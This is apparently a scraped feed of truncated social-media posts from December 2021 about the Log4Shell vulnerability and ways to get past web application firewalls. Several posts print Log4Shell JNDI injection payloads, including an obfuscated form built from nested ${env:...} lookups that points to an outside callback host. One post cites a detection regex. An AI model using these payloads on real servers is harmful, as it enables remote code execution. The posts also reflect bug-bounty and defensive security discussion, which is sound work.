if the vulnerable app uses Log4jServletFilter in addition to log4j, it should be technically possible to bypass the hardest WAF with a trick like Cook ...December 13, 2021
A bypass working for a few WAF
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
#log4j #Log4Shell #log4jR ...December 13, 2021
#log4j2 bypass waf tips
base payload?
${jndi:ldap://127.0.0.1:1099/obj}
these work well too ?
https://t.co/IDA2PaHhVN
pas: gF4Zm90ikB ...December 13, 2021
I published blog post about log4shell. what is it? how can be exploit, detect, mitigate, waf bypass and more.
https://t.co/nAYhCouxqa ...December 13, 2021
I have been sesing some excellent ways to bypass proction and waf filters against log4shell attacks. This must be the most interesting attacks in 2021 ...December 13, 2021
This indeed does work. I think the “i” character is the only one in “jndi:ldap” that works like that. Another likely WAF bypass for log4j. htt ...December 13, 2021
Found a bypass working for a few WAF
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
Enjoy bounty season ...December 12, 2021
Hey @MeghBulletin it probably happened due to log4j zeroday vulnerability found on twitter,steam,icloud etc. This is going on since past 2 days. The s ...December 12, 2021
There are so many possible bypass available, I changed the regex to be only ${.*//(.*)} because that's the only real way to be sure! Except I'm still ...December 11, 2021
This is such a silly take. We were seeing WAF bypass attempts in our logs on Thursday, way before Twitter was talking about them.
In fact, talking ab ...December 11, 2021